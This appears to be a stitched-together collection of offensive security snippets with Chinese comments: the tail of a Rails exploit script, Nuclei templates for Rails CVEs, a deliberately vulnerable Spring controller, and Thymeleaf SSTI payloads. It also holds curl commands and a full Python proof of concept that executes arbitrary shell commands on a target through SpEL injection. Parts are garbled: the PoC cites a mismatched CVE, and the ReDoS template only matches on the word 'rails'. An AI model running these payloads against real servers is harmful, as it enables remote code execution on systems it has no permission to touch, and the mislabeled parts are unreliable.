    args = parser.parse_args()

    exploit = RailsExploit(args.target, args.timeout)
    if args.cve == "26143":
        exploit.test_dos()
    elif args.cve == "26142":
        exploit.test_html_injection()
    elif args.cve == "26144":
        exploit.test_redos()
    else:
        exploit.full_check()


if __name__ == '__main__':
    main()

id: cve-2024-26144-rails-redos

info:
  name: Ruby on Rails ReDoS (CVE-2024-26144)
  author: security-research
  severity: medium
  description: |
    Rails actionpack 路由正则存在 ReDoS 漏洞
  tags: rails,redos,cve-2024-26144
  reference:
    - https://rubyonrails.org/2024/02/21/Rails-7-0-8-1-7-1-3-1-Released

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "csrf-token"
          - "csrf_meta_tags"
          - "rails"
        condition: or
      - type: status
        status:
          - 200

id: cve-2024-26142-rails-html-injection

info:
  name: Ruby on Rails HTML Injection (CVE-2024-26142)
  author: security-research
  severity: medium
  description: |
    Rails actionview 未正确转义用户内容导致 HTML 注入
  tags: rails,xss,html-injection,cve-2024-26142
  reference:
    - https://rubyonrails.org/2024/02/21/Rails-7-0-8-1-7-1-3-1-Released

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=%3Cscript%3Ealert(1)%3C/script%3E"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<script>alert(1)</script>"
      - type: status
        status:
          - 200

// 受影响的 Controller 代码示例
@Controller
public class PageController {
    @GetMapping("/page")
    public String getPage(@RequestParam String name) {
        // 直接将用户输入作为视图名称 — 危险！
        return name;
    }
}

// 攻击者构造请求：
// GET /page?q=expression
// 当 name = "template" 时正常返回 template.html
// 当 name = "new org.springframework.context.expression.SpelExpressionParser().parseExpression('Runtime.getRuntime().exec(\"id\")').getValue()" 时触发 SSTI

// Thymeleaf 的表达式解析流程
// 1. ViewResolver 接收视图名
// 2. 如果包含 [[${...}]] 表达式，先进行求值
// 3. 求值时使用 Spring 的 SpEL 引擎
// 4. SpEL 引擎可执行任意 Java 代码

// 攻击 payload 示例：
// [[${T(java.lang.Runtime).getRuntime().exec('calc.exe')}]]

# Thymeleaf SSTI: 通过视图名注入 SpEL 表达式
curl "https://target.com/page?q=template" \
  # 正常请求，返回 template.html

# SSTI 利用 payload
curl "https://target.com/page?q=%5B%5B%24%7BT(java.lang.Runtime).getRuntime().exec(%27id%27)%7D%5D%5D"

# 或者通过 fragment 表达式
curl "https://target.com/page?q=~{::fragment[__${T(java.lang.Runtime).getRuntime().exec('id')}__]}"

#!/usr/bin/env python3
import argparse
import sys
import urllib3
import requests
from urllib.parse import urljoin, quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class ThymeleafSSTIExploit:
    def __init__(self, target, timeout=15):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False

    def test_ssti(self, endpoint="/page", param="q"):
        print("[*] Thymeleaf SSTI 探测...")
        probes = [
            "{{7*7}}",
            "${7*7}",
            "[[${7*7}]]",
            "~{#{test}}",
            "__${7*7}__",
        ]
        for probe in probes:
            try:
                r = self.session.get(
                    urljoin(self.target, endpoint),
                    params={param: probe},
                    timeout=self.timeout
                )
                if '49' in r.text:
                    print(f"  [+] SSTI 确认! Probe: {probe} -> 49")
                    return True
                print(f"  [-] Probe: {probe} -> HTTP {r.status_code}")
            except Exception:
                continue
        print("  [-] 未检测到 SSTI")
        return False

    def exploit_rce(self, command="id", endpoint="/page", param="q"):
        print(f"[*] Thymeleaf SSTI RCE: {command}")
        spel_payload = (
            "[[${T(java.lang.Runtime).getRuntime()."
            f"exec('{command}')}]]"
        )
        try:
            r = self.session.get(
                urljoin(self.target, endpoint),
                params={param: spel_payload},
                timeout=self.timeout
            )
            print(f"[*] HTTP {r.status_code}")
            if r.status_code == 200:
                print(f"[*] 响应: {r.text[:500]}")
            return r
        except Exception as e:
            print(f"[-] 利用失败: {e}")
        return None

    def exploit_with_process_builder(self, command="id",
                                     endpoint="/page", param="q"):
        spel_payload = (
            "[[${new java.util.Scanner("
            "T(java.lang.Runtime).getRuntime()"
            f".exec(new String[]{{'/bin/sh','-c','{command}'}})"
            ".getInputStream()).useDelimiter('\\\\A').next()}]]"
        )
        try:
            r = self.session.get(
                urljoin(self.target, endpoint),
                params={param: spel_payload},
                timeout=self.timeout
            )
            if r.status_code == 200:
                print(f"[+] 命令输出:\n{r.text[:1000]}")
                return r.text
        except Exception as e:
            print(f"[-] 利用失败: {e}")
        return None


def main():
    parser = argparse.ArgumentParser(
        description="Thymeleaf SSTI PoC (CVE-2024-22243 等)"
    )
    parser.add_argument("-t", "--target", required=True, help="目标 URL")
    parser.add_argument("-c", "--command", default="id", help="命令 (默认: id)")
    parser.add_argument("--endpoint", default="/page", help="端点 (默认: /page)")
    parser.add_argument("--param", default="q", help="参数名 (默认: q)")
    parser.add_argument("--timeout", type=int, default=15, help="超时")
    args = parser.parse_args()

    exploit = ThymeleafSSTIExploit(args.target, args.timeout)
    print(f"[*] 目标: {args.target}")

    if exploit.test_ssti(args.endpoint, args.param):
        exploit.exploit_rce(args.command, args.endpoint, args.param)
    else:
        print("[*] 标准探测未确认，尝试直接 RCE...")
        exploit.exploit_with_process_builder(
            args.command, args.endpoint, args.param
        )


if __name__ == '__main__':
    main()

id: thymeleaf-ssti-detect

info:
  name: Thymeleaf SSTI Detection
  author: security-research
  severity: high
  description: |
    检测 Thymeleaf 模板引擎是否存在 SSTI 漏洞
    当视图名可控时，攻击者可注入 SpEL 表达式实现 RCE
  tags: thymeleaf,ssti,spel,spring,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=%7B%7B7*7%7D%7D"
      - "{{BaseURL}}/?q=%24%7B7*7%7D"
      - "{{BaseURL}}/?q=%5B%5B%24%7B7*7%7D%5D%5D"
    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "49"
          - "7049"
        condition: or
      - type: word
        words:
          - "SpelEvaluationException"
          - "TemplateProcessingException"
        condition: or
      - type: word
        words:
          - "Thymeleaf"
          - "th:"
        condition: or